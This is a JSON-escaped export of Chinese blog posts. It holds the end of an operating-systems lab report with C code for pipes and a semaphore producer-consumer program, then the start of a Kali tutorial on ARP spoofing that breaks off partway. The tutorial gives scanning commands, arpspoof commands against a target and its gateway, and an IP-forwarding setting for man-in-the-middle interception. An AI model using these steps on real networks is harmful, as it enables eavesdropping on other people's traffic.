finished\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-4\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523165148.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,子进程成功向命名匿名管道写入数据,并被父进程读取并打印出来。\u003c/p\u003e\u003ch3 id=\"五、实验心得-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-4\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下命名匿名管道的原理和用法,知道了如何使用系统调用来创建和操作命名匿名管道,在父子进程之间进行单向通信。同时,我也了解了如何使用文件操作函数来读写命名匿名管道\u003c/p\u003e\u003ch2 id=\"实验6:信号量实现进程同步\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C6%EF%BC%9A%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%AE%9E%E7%8E%B0%E8%BF%9B%E7%A8%8B%E5%90%8C%E6%AD%A5\" class=\"headerlink\" title=\"实验6:信号量实现进程同步\"\u003e\u003c/a\u003e实验6:信号量实现进程同步\u003c/h2\u003e\u003ch3 id=\"一、实验目标-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-5\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解信号量的原理和用法\u003c/li\u003e\u003cli\u003e使用信号量实现生产者消费者问题的进程同步\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-5\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003esemaphore.h\u003c/code\u003e和\u003ccode\u003eunistd.h\u003c/code\u003e。在主程序中定义一个全局变量\u003ccode\u003ebuffer\u003c/code\u003e作为缓冲区,并初始化为0。随后在主程序中创建两个信号量\u003ccode\u003eempty\u003c/code\u003e和\u003ccode\u003efull\u003c/code\u003e,分别表示空缓冲区的数量和满缓冲区的数量,并初始化为8和0。然后使用\u003ccode\u003efork()\u003c/code\u003e函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程作为消费者进程,循环执行以下操作:使用\u003ccode\u003esem_wait()\u003c/code\u003e函数等待\u003ccode\u003efull\u003c/code\u003e信号量,表示有产品可消费;使用\u003ccode\u003esleep()\u003c/code\u003e函数模拟消费时间;将缓冲区的值减一,并打印出当前缓冲区的值;使用\u003ccode\u003esem_post()\u003c/code\u003e函数增加\u003ccode\u003eempty\u003c/code\u003e信号量,表示释放一个空缓冲区。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程作为生产者进程,循环执行以下操作:使用\u003ccode\u003esem_wait()\u003c/code\u003e函数等待\u003ccode\u003eempty\u003c/code\u003e信号量,表示有空缓冲区可用;使用\u003ccode\u003esleep()\u003c/code\u003e函数模拟生产时间;将缓冲区的值加一,并打印出当前缓冲区的值;使用\u003ccode\u003esem_post()\u003c/code\u003e函数增加\u003ccode\u003efull\u003c/code\u003e信号量,表示增加一个满缓冲区。\u003c/p\u003e\u003ch3 id=\"三、实验代码-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-5\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;signal.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;pthread.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;semaphore.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SIZE 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[SIZE], index=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esem_t\u003c/span\u003e items, space;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003epthread_mutex_t\u003c/span\u003e mutex;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003eproduce\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *arg)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_wait(\u0026amp;space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_lock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//c = getchar();\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c = \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e + rand()%\u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[producer] %c\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e buffer[index++] = c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_unlock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_post(\u0026amp;items);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003econsume\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *arg)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_wait(\u0026amp;items);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_lock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c = buffer[--index];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[consumer] %c\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_unlock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_post(\u0026amp;space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprint_buffer\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e; i\u0026lt;index; i++){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\u0026#34;\u003c/span\u003e, buffer[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003epthread_t\u003c/span\u003e p1, c1, p2, c2, p3, c3;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pthread_mutex_init(\u0026amp;mutex, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) != \u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Mutex init failed\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_init(\u0026amp;items, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_init(\u0026amp;space, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, SIZE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-5\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523170029.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,生产者进程和消费者进程能够通过信号量来同步他们的操作,保证缓冲区的值不会超过8或低于0。\u003c/p\u003e\u003ch3 id=\"五、实验心得-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-5\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下信号量的原理和用法,知道了如何使用系统调用来创建和操作信号量,在生产者消费者问题中实现进程同步。同时,我也了解了如何使用信号量来控制资源的访问和分配。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/"},{"title":"使用Kali进行ARP欺骗攻击","time":"2023-05-22T02:28:36Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"步骤\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/arp-kali/#%E6%AD%A5%E9%AA%A4\" class=\"headerlink\" title=\"步骤\"\u003e\u003c/a\u003e步骤\u003c/h2\u003e\u003cp\u003e先用\u003ccode\u003eifconfig\u003c/code\u003e看网卡名称,我是\u003ccode\u003eeth0\u003c/code\u003e。随后用\u003ccode\u003efping\u003c/code\u003e或者\u003ccode\u003enmap\u003c/code\u003e扫描网段\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efping -asg 192.168.16.0/24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 或者这条\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enmap 192.168.16.1-100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earpspoof -i eth0 -t [target IP] [gate]\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果想做中间人攻击,编辑\u003ccode\u003e/etc/sysctl.conf\u003c/code\u003e,添加配置\u003ccode\u003enet.ipv4.ip_forward=1\u003c/code\u003e,就可以开启端口转发。\u003c/p\u003e\u003cp\u003e此时重新运行,不过得换一下网关ip和目标ip\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003earpspoof -i eth0 -t [gate] [target IP] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后打开另一个终端,运行\u003ccode\u003edriftnet\u003c/code\u003e和\u003ccode\u003eettercap\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight 